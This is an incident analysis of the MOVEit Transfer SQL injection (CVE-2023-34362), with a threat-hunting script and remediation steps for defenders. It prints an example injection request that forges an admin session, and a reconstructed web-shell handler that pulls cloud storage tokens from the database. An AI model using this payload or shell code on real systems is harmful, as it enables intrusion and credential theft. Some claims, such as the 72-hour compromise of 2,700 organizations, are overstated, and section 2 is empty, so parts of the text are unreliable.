MOVEit Transfer (CVE-2023-34362): The SQL Injection That Triggered Mass Data Theft

1. May 27, 2023: The Silent Extortion Blitz

Over the Memorial Day weekend in May 2023, the Russian-speaking cybercrime cartel Cl0p (FIN11 / TA505) executed the most lucrative corporate data extortion operation in history. Bypassing traditional encrypting ransomware payloads, the group exploited a zero-day unauthenticated SQL injection vulnerability in Progress Software's MOVEit Transfer managed file transfer (MFT) application: CVE-2023-34362 (CVSS 9.8).

Within 72 hours, Cl0p automated the compromise of over 2,700 corporate and government organizations worldwide — including British Airways, BBC, Boots, Shell, Siemens Energy, the US Department of Energy, and state pension systems. Over 93 million individuals had confidential financial records, employee payroll databases, and corporate intellectual property exfiltrated to private extortion servers.

2. CVE Metadata & Exploit Sequence

3. Dissecting the human2.aspx SQL Injection

MOVEit Transfer is an enterprise ASP.NET application running on Microsoft IIS with an underlying Microsoft SQL Server, MySQL, or Azure SQL database. It provides secure file exchange portals for enterprise business units.

The core vulnerability lived inside the human2.aspx handler responsible for guest user file sharing. When handling HTTP requests, MOVEit parsed custom HTTP headers (such as X-siLock-Comment, X-siLock-Transaction, or query parameters) and inserted them directly into dynamic SQL query strings without parameterization:

POST /human2.aspx HTTP/1.1
Host: mft.enterprise-bank.com
X-siLock-Comment: ';INSERT INTO activeusers (Username, SessionID, LastAccess, RealName, Email, AccessLevel) VALUES ('admin', 'attacker_session_token_1337', GETDATE(), 'Administrator', 'sec@attacker.com', 30);--
Content-Type: application/x-www-form-urlencoded

ep=guestfiles

3.1 Forging the Admin Session

By injecting a brand new session token directly into the activeusers table in the SQL database, the attacker bypassed all frontend authentication forms, password checks, and multi-factor authentication (MFA) requirements. The attacker then submitted subsequent HTTP requests presenting the forged MyFileUploadSession cookie to interact with administrative APIs.

4. The LEMURLOOT .NET Web Shell Architecture

Once authenticated, the automated exploit scripts uploaded a compiled ASP.NET backdoor known as LEMURLOOT (typically disguised as human2.aspx or moveitisapi.dll). LEMURLOOT listened for specific custom headers and executed three primary capabilities:

1. Retrieve Cloud Storage Credentials: Queried the internal MOVEit configuration database to extract raw Azure Blob Storage SAS tokens, AWS S3 secret keys, and database encryption keys.
2. Batch Archive File Downloads: Programmatically enumerated all uploaded customer files, unencrypted PDFs, payroll spreadsheets, and database backups, bundling them into encrypted zip streams transmitted over HTTPS.
3. Self-Wiping & Memory Evasion: When exfiltration completed, LEMURLOOT reset its file timestamps to match adjacent system files or deleted itself to frustrate disk forensics.

// Conceptual reconstruction of the LEMURLOOT exfiltration routine
public class LemurLootHandler : IHttpHandler {
    public void ProcessRequest(HttpContext context) {
        string headerKey = context.Request.Headers["X-siLock-Step1"];
        if (headerKey == "AUTH_SECRET_PASSWORD") {
            // Extract Azure Blob Storage SAS credentials from MOVEit SQL database
            string connStr = ConfigurationManager.ConnectionStrings["MOVEitConnection"].ConnectionString;
            using (SqlConnection conn = new SqlConnection(connStr)) {
                conn.Open();
                SqlCommand cmd = new SqlCommand("SELECT StorageAccount, SasToken FROM AzureBlobSettings", conn);
                SqlDataReader reader = cmd.ExecuteReader();
                // Stream encrypted files directly back to attacker HTTP response
                context.Response.Write(SerializeEncryptedData(reader));
            }
        }
    }
}

5. Detection and Threat Hunting Playbook

# search_moveit_ioc.ps1 - PowerShell threat hunting script for MOVEit compromises

Write-Host "=========================================================="
Write-Host "     MODRACX MOVEit Transfer Forensic & IOC Scanner       "
Write-Host "=========================================================="

# 1. Check for unauthorized ASPX files in web root
$WebRoot = "C:\MOVEitTransfer\wwwroot"
Write-Host ""
Write-Host "[*] Scanning $WebRoot for unauthorized ASPX scripts..."
Get-ChildItem -Path $WebRoot -Filter "*.aspx" | ForEach-Object {
    $matches = Select-String -Path $_.FullName -Pattern "X-siLock-Step", "LEMURLOOT", "GetAzureBlob"
    if ($matches) {
        Write-Host "[!] CRITICAL: LEMURLOOT backdoor signatures found in $($_.FullName)!" -ForegroundColor Red
    }
}

# 2. Check IIS access logs for human2.aspx guest POST requests returning HTTP 200
$IISLogs = "C:\inetpub\logs\LogFiles\W3SVC*\*.log"
Write-Host ""
Write-Host "[*] Inspecting IIS access logs for exploitation traces..."
Select-String -Path $IISLogs -Pattern "POST /human2.aspx" | Select-Object -First 10

Write-Host ""
Write-Host "=========================================================="
Write-Host "                     Scan Complete                        "
Write-Host "=========================================================="

6. Remediation & Hardening Blueprint

1. Apply Latest Service Packs: Upgrade MOVEit Transfer immediately to patched releases (2020.1.11+, 2021.0.9+, 2021.1.7+, 2022.0.7+, 2022.1.8+, 2023.0.4+).
2. Rotate All Underlying Cloud Credentials: Immediately rotate all Azure Storage account keys, AWS S3 bucket secrets, database connection passwords, and local administrator credentials connected to MOVEit.
3. Network Perimeter Isolation: Block public internet access to ports 80 (HTTP) and 443 (HTTPS) on MOVEit servers; require client VPN or Zero Trust Network Access (ZTNA) with device posture checks.